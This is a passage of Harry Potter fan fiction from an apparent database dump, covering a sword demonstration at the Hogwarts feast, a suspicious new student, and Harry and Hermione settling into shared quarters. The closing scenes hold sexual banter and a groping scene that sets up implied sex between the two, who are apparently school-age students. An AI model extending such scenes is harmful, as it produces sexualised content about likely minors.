please?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Rolling\nhis eyes in exasperation, Harry stood up and extended his hand to his\nfianc&#233;.&nbsp; She grinned and accepted his\nhand.&nbsp; She followed him up to the front,\nand Sirius grinned slightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now\nthen, Hermione, why don&#8217;t you go first?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Swallowing\nnervously, she approached Sirius, and he handed her one of the swords.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Go\nahead, it&#8217;s not as heavy as it looks,&#8221; he stated firmly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\ncurved her hand around the sword hilt and grasped it firmly.&nbsp; It was a slight strain, but she lifted the\nblade.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We&#8217;ll\nstart slowly&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sirius\nspent the next ten minutes walking Hermione through the basic movements.&nbsp; He knew that Hermione had an analytical mind\nso he told her to try and keep her sword to a perpendicular angle to his.&nbsp; After that, she began to pick up the\ntechnique rather quickly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Excellent,\nwell done Hermione.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Her\ncheeks flushed at his compliment; she&#8217;d never even used a sword before tonight!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All\nright, Harry, it&#8217;s your turn.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nstayed up front; this she had to see.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sirius\nwas grinning widely at his godson, and Harry was grinning right back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hope\nyou haven&#8217;t gotten too rusty, boy!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nthink I remember everything.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\ntwo wizards raised their swords in front of their faces.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Touch&#233;!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sirius\nimmediately went after him.&nbsp; Harry\nraised his hands and bent his sword to the side to block the strike.&nbsp; He pushed up to force Sirius back slightly\nand thrust forward with his own attack.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nwatched in fascination as the two traded blow for blow.&nbsp; Their blades clanged together, and they spun\naround the front of the Great Hall.&nbsp;\nBoth were grinning at one another; they were enjoying this far too much!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nprofessors were also watching the duel intently.&nbsp; Dumbledore was trying hard not to chuckle.&nbsp; This looked more like a sparring session\nthan a fight.&nbsp; Harry and Sirius were\njust testing each other.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Look\nat them go!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wow,\nthat&#8217;s so cool!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We\nget to learn that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nsixth and seventh years muttered amongst themselves as they watched the pair go\nback and forth.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;They&#8217;re\nhaving fun!&#8221; Ron chuckled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What\ndo you mean?&#8221; Lavender asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There\nboth grinning from ear to ear; I&#8217;d say this is more like practice to those\ntwo.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Goodness,\nHarry sure knows how to handle a sword,&#8221; Cassandra broke in.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You\nhaven&#8217;t seen anything yet; you should&#8217;ve seen him last year.&nbsp; He kicked the bloody hell out of Lucius\nMalfoy, the Death Eaters, and You-Know-Who all in one day.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He\nmust be very popular with a reputation like his,&#8221; she stated firmly.&nbsp; Ron rolled his eyes slightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You\nshould&#8217;ve seen it; he used to have girls practically hanging on him from dawn\ntill dusk.&nbsp; They all wanted a piece of\nthe &#8216;great Harry Potter&#8217;.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What\nmade them stop?&#8221; Cassandra asked intently.&nbsp;\nRon smiled broadly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He\nfell in love with Hermione.&nbsp; When they\nsaw the way he looked at her, it stopped &#8216;em cold in their tracks.&nbsp; Those two are perfect together; there&#8217;s\nnothing they can&#8217;t do!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">What\nthe young Weasley didn&#8217;t notice was the darkness that flashed through\nCassandra&#8217;s eyes, and she glanced towards the front where Hermione was\nstanding.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Meanwhile,\nSirius and Harry were still going at it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You\nhave remembered, Harry, but not quite enough.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nthrust forward a little too far, and Sirius knocked the sword out of his\nhand.&nbsp; It hit the stone floor with a\nclang, and the two men took a deep breath.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not\nbad for a student,&#8221; Sirius chuckled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not\nbad for an aging professor,&#8221; Harry shot back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Watch\nit, Potter!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nwiped the sweat off his brow and nodded to his godfather.&nbsp; He walked back to Hermione, and they\nreturned to their seats.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well\ndone, Professor Black&#8230;Harry&#8230;Hermione&#8230;I see much promise for the upcoming\nyear.&nbsp; Now, as everyone has been quite\npatient, let the feast begin.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After\nwaving his hands, every plate on the long tables was filled with delicious\nlooking food.&nbsp; The students eagerly dug\nin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey\nHarry, I&#8217;ve just been telling Cassandra about our adventures from first through\nsixth year,&#8221; Ron said with a proud smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s\na long story,&#8221; his friend retorted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay,\nso maybe not everything &#8211; just the good parts.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s\namazing, Harry, everything that you&#8217;ve had to face,&#8221; Cassandra said in shock,\n&#8220;I don&#8217;t see how you could do it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My\nonly answer is&#8230;great friends, and&#8230;&#8221; He turned his head and gazed at Hermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;&#8230;a\ngreat girl.&nbsp; They&#8217;ve been my strength\nand confidants.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Perhaps,\nyou could tell me about your adventures sometime Harry,&#8221; Cassandra said and\nbatted her eyes at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nwouldn&#8217;t exactly call them adventures, but I guess so.&nbsp; Actually, Ron&#8217;s a better storyteller than\nme.&nbsp; Besides, after dinner, Hermione and\nI have to meet with the house prefects since it&#8217;s the first night back.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nunderstand, Harry, I&#8217;m sure you&#8217;ll be busy this year.&nbsp; Don&#8217;t mind me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hold\nit, Cassandra, just because I&#8217;m busy doesn&#8217;t mean I act like a jerk.&nbsp; I always make time for my friends,&#8221; he said\nwith a smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank\nyou, I really appreciate it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good,\nthen let&#8217;s eat &#8211; cause I&#8217;m starving!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As\ndinner progressed, Harry and his friends laughed and discussed how their summer\nhad gone.&nbsp; Suddenly, he flinched as he\nfelt a familiar burning on his forehead &#8211; his scar.&nbsp; Something wasn&#8217;t right, and his eyes flashed around the room.&nbsp; Glancing over at the Slytherin table, he saw\nDraco Malfoy glaring at him with hateful eyes.&nbsp;\nHis senses told him that wasn&#8217;t it, and he moved on.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;What&#8217;s\ngoing on?&#8217; he asked himself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">His\ngaze shifted closer, and his eyes ran across the face of Cassandra Cross.&nbsp; The pain intensified, and Harry clenched his\nfist.&nbsp; No, he couldn&#8217;t react with her so\nclose.&nbsp; What could it be?&nbsp; Why was his scar burning again, and why was\nit reacting to her?&nbsp; Was their something\nabout Cassandra that she wasn&#8217;t admitting?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nwatched her carrying on a conversation with Ron and Lavender and occasionally\nlaughing gaily.&nbsp; Despite, her outward\nserenity, Harry had come to trust his scar as an early warning mechanism, and\nif Cassandra was a wolf in sheep&#8217;s clothing, he had to be ready for her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Author&#8217;s\nNotes:&nbsp; And here ends this chapter.&nbsp; Stay tuned and see why Harry&#8217;s scar was\nreacting.&nbsp; Plus, what role is Cassandra\ngoing to play?</p>\n\n\n\n\n\n\n'),
	(244, 3, '\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nhope that each of you have a successful year and don&#8217;t be afraid to come talk\nto either Hermione or myself.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nstood in front of the house prefects finishing up their meeting.&nbsp; He wasn&#8217;t good at speeches so he&#8217;d made it\nshort and to the point.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s\nall, everyone, thank you,&#8221; Hermione added.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nprefects dispersed and headed out of the classroom that they were presently\nin.&nbsp; Ron, Lavender, and Ginny hung back\nto speak to their friends.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So,\nhave you two seen your rooms yet?&#8221; Ron asked wryly as they headed up the\nstaircases.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;For\nyour information, no, we haven&#8217;t,&#8221; Hermione replied curtly, &#8220;But it doesn&#8217;t\nmatter&#8230;we only need one&#8230;right Harry?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Her\neyes danced with mirth, and he grinned widely.&nbsp;\nHis arm slid around her waist, and he nuzzled her neck.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Very\ntrue&#8230;it really is a waste.&nbsp; I don&#8217;t plan\non sleeping alone this year,&#8221; he cooed softly.&nbsp;\nHermione giggled happily and leaned into his chest.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;For\nMerlin&#8217;s sake, you two, knock it off!&#8221; Lavender gasped, &#8220;Why didn&#8217;t you just\nget it on in the middle of the Great Hall?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Too\nmany spectators,&#8221; Harry answered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry!&#8221;\nHermione gawked, &#8220;Have you no shame?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not\nreally&#8230;not when I&#8217;ve got a girl who&#8217;s as insatiable as you,&#8221; he snickered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are\nyou serious?&#8221; their friends all said at the same time.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione&#8230;insatiable?&nbsp; That doesn&#8217;t sound right,&#8221; Ron choked and\nmade like he was going to be sick.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron,\ndon&#8217;t be mean!&#8221; Lavender scolded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Still,\nthat&#8217;s just bad imagery,&#8221; Ginny stated.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmmph,\nyou&#8217;re a bad boy, Harry,&#8221; Hermione pouted, but her smile was teasing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Am\nI now?&#8221; he leered and nibbled on her ear.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes,\nyou are; now, stop trying to seduce me in the middle of the hallway.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All\nright, I&#8217;ll wait&#8230;&#8221; he lowered his voice to a whisper, &#8220;&#8230;for a little while.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nand the others continued on towards Gryffindor Tower when they saw Dobby\nwaiting for them in the hallway.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Dobby,\nhow are you?&#8221; Harry greeted his old friend.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh,\nMr. Potter, you still remember Dobby, thank you.&nbsp; Dobby is to show you and Miss Granger to your rooms.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank\nyou, that&#8217;s sweet,&#8221; Hermione smiled and patted the house elf on the head.&nbsp; He immediately blushed at having a\ncompliment paid to him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well,\nI guess we&#8217;ll see you two tomorrow,&#8221; Ron stated.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Probably,\nI&#8217;m pretty bagged right now,&#8221; Harry sighed and almost yawned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All\nright, bye guys.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Bye\nyou two.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nand Hermione waved goodbye as Ron headed for the portrait hole with Lavender\nand Ginny right behind him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Lead\nthe way, Dobby,&#8221; Harry instructed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This\nway please.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nlittle, house elf led them down the same hallway their friends had taken, but\nbefore they reached the Fat Lady&#8217;s portrait, he made a detour down a side\nhallway.&nbsp; Harry and Hermione followed\nhim, and they were soon at a long row of portraits.&nbsp; In the middle was a large picture with a couple holding\nhands.&nbsp; The man was dressed in a 1800s\ntuxedo, and the woman wore an elegant green dress.&nbsp; Surrounding them were various pictures of maids, butlers,\nscholars, and even a chef.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ah,\nwelcome,&#8221; the man said, and he and the lady bowed slightly.&nbsp; Harry nodded back at him and grinned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now,\nMr. Potter, what would you and Miss Granger like your password to be?&#8221; Dobby\nasked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nlooked at Hermione, and she tried to think of something simple but not so easy\nto think of.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nknow, Herm, how about &#8216;hot chocolate&#8217;?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s\nperfect!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Very\nwell,&#8221; the couple in the painting said together, and the portrait swung open.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Dobby\nwill go now, Mr. Potter.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All\nright, we&#8217;ll see you later,&#8221; he replied, and the house elf scurried off down\nthe corridor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;After\nyou,&#8221; Harry stated and bowed to his girlfriend.&nbsp; Hermione rolled her eyes and headed inside with him right behind\nher.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\ntwo emerged in their own common room.&nbsp;\nIt wasn&#8217;t as big as the Gryffindor Common Room, but it didn&#8217;t need to be\nfor just them.&nbsp; There was a large\nfireplace, which was brightly lit, and two swords were crisscrossed above the\nmantle.&nbsp; Behind the swords was the\nemblem of Gryffindor, and Harry swore he heard the lion growl.&nbsp; There were three large chairs, a plush\ncouch, and a table was seated in the corner.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wow,\ntalk about deluxe accommodations,&#8221; Harry gasped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re\nright, it seems a bit much just for us,&#8221; Hermione replied.&nbsp; He took her hand and squeezed it gently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Only\nthe best for my girl,&#8221; he said with wry grin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Very\nfunny.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\npair headed up the staircase at the far end of the room, and they came to\ncrossroads.&nbsp; The stairwell split in two,\nand on each side was a nameplate.&nbsp; One\nwas labeled &#8216;Hermione&#8217; and the other &#8216;Harry&#8217;.&nbsp;\nThey both laughed and headed up to their rooms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nwasn&#8217;t surprised to see that his things were already put away, and his clothes\nwere even laid out for tomorrow.&nbsp; A\nfamiliar screech caught his attention, and he smiled at seeing his old friend.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hedwig!&#8221;\nHis snowy owl was resting on her perch, apparently waiting for him to\narrive.&nbsp; He stroked her soft feathers,\nand she nipped at his fingers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes,\nI&#8217;m glad to see you too,&#8221; he smiled.&nbsp;\nHis owl bobbed her head in confirmation.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nheaded over for a door on the far side of his room.&nbsp; Upon opening it, he gasped slightly; he even had his own bathroom\nin here.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Truth\nbe told, it could accommodate five or six people if need be.&nbsp; Along one wall was a large mirror, and a\npolished marble sink lay directly beneath it.&nbsp;\nOn the opposite side was a large tub in the same marble design as the\nsink, and next to it was a shower stall.&nbsp;\nHarry liked the idea of having both so he could either be quick or just\nrelax.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Another\ndoor was ahead, and he went to open it.&nbsp;\nHe had a feeling of where it went, and he instincts were right.&nbsp; He appeared in Hermione&#8217;s room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry!&#8221;\nshe gasped in mild shock, &#8220;Where&#8217;d you come from?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;In\nhere.&nbsp; Looks like we share the\nbathroom,&#8221; and he pointed his finger behind him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nwas seated on her bed, shifting through her trunk for supplies for\ntomorrow.&nbsp; Crookshanks was curled up at\nthe foot of the bed snoring softly and occasionally swiping at invisible mice.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What\nare you doing?&#8221; Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just\norganizing my things so I know where they are.&nbsp;\nUnlike some people I don&#8217;t like to dig through everything to find what I\nwant,&#8221; she snickered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey,\nI&#8217;m organized too,&#8221; he defended.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh\nhuh, sure you are.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nsat down next to her and wrapped his arms around her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay,\nso I&#8217;m a little challenged in that area, but that&#8217;s what I have you for &#8211; among\nother things.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Cute\nPotter, very cute.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks,\ndo I get a kiss for being cute?&#8221; he asked with puppy dog eyes.&nbsp; Hermione was trying hard not to laugh, and\nshe cupped his chin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No,\nyou don&#8217;t,&#8221; she said firmly, and he pouted slightly, &#8220;You get all of me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nclaimed his mouth in a heated embrace, and Harry wrapped his arms around\nher.&nbsp; He slid his hands inside her robes\nand pressed her supple body right up against him.&nbsp; She cooed softly and rubbed up against his hard exterior.&nbsp; Harry felt like he was losing his mind as\nher soft curves brushed up against him.&nbsp;\nHis hand cupped her breast, and he squeezed ever so gently, making her\nmoan softly.&nbsp; Hermione pulled away and\nsmiled warmly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not\nyet, love, we need to get ready for tomorrow.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll\ndo it in the morning,&#8221; Harry protested and reached for her, but she fended him\noff.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No,\nyou don&#8217;t.&nbsp; Go back to your room; I&#8217;ll\nmeet you there in ten minutes.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Promise?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes,\nand after that, I&#8217;m all yours.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\npulled her into his arms and kissed the very breath from her lungs.&nbsp; Hermione almost gave in to her desire, but she\ncould wait another ten minutes &#8211; but no more!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All\nright, sweetheart, I&#8217;ll be waiting.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nlet her warmth slip from his arms, and he disappeared back through the bathroom\ndoor.&nbsp; Hermione took a deep breath and\ndug through her dresser.&nbsp; She knew what\nshe wanted to wear tonight.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nchecked his supplies to make sure that he was set for classes tomorrow &#8211; books,\nparchment, ink, quill&#8230;that was all of it.&nbsp;\nHe turned down his bed and put out all but one row of candles along the\nwall.&nbsp; He opened his trunk and dug\ninside.&nbsp; Finding what he wanted in the\nbottom corner, Harry pulled out a small, wrapped bundle.&nbsp; Undoing the wrapping, he took out a pile of\nshort, grayish-looking sticks.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Good,\nI still have plenty left.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\npicked up one of the sticks; it was in fact Quirless root.&nbsp; Breaking it into two pieces, he ate them one\nat a time.&nbsp; They tasted horrible, but\ntheir job was important.&nbsp; The Quirless\nroot was going to make him sterile for the next two months; it was an old\ncounteragent for pregnancy. &nbsp;After the\nfirst time he and Hermione were together, they&#8217;d decided to both take it as a\nprecaution; they wouldn&#8217;t have kids for several years yet.&nbsp; He retied the bundle of roots and tossed it\nback into his trunk.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;I\nthink that&#8217;s everything.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry&#8217;s\nback was to the door, but he could hear someone come in behind him.&nbsp; Turning around, he found himself gazing at\nthe eighth wonder of the world.&nbsp; There\nstood Hermione wearing an elegant nightgown; it was emerald green and ran all\nthe way down her curvaceous body.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Like\nit?&#8221; she asked at seeing the fire blazing in his eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\ntook three, long strides, and she was in his arms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Like\nis not the word, sweetheart, you look exquisite.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why\ndo you think I needed ten minutes?&#8221; she teased.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ah,\nso that&#8217;s why you wanted me gone; you had a little surprise for me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;As\nI said, a girl must keep her man interested.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And\ndidn&#8217;t I say that I&#8217;d never lose interest in you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p 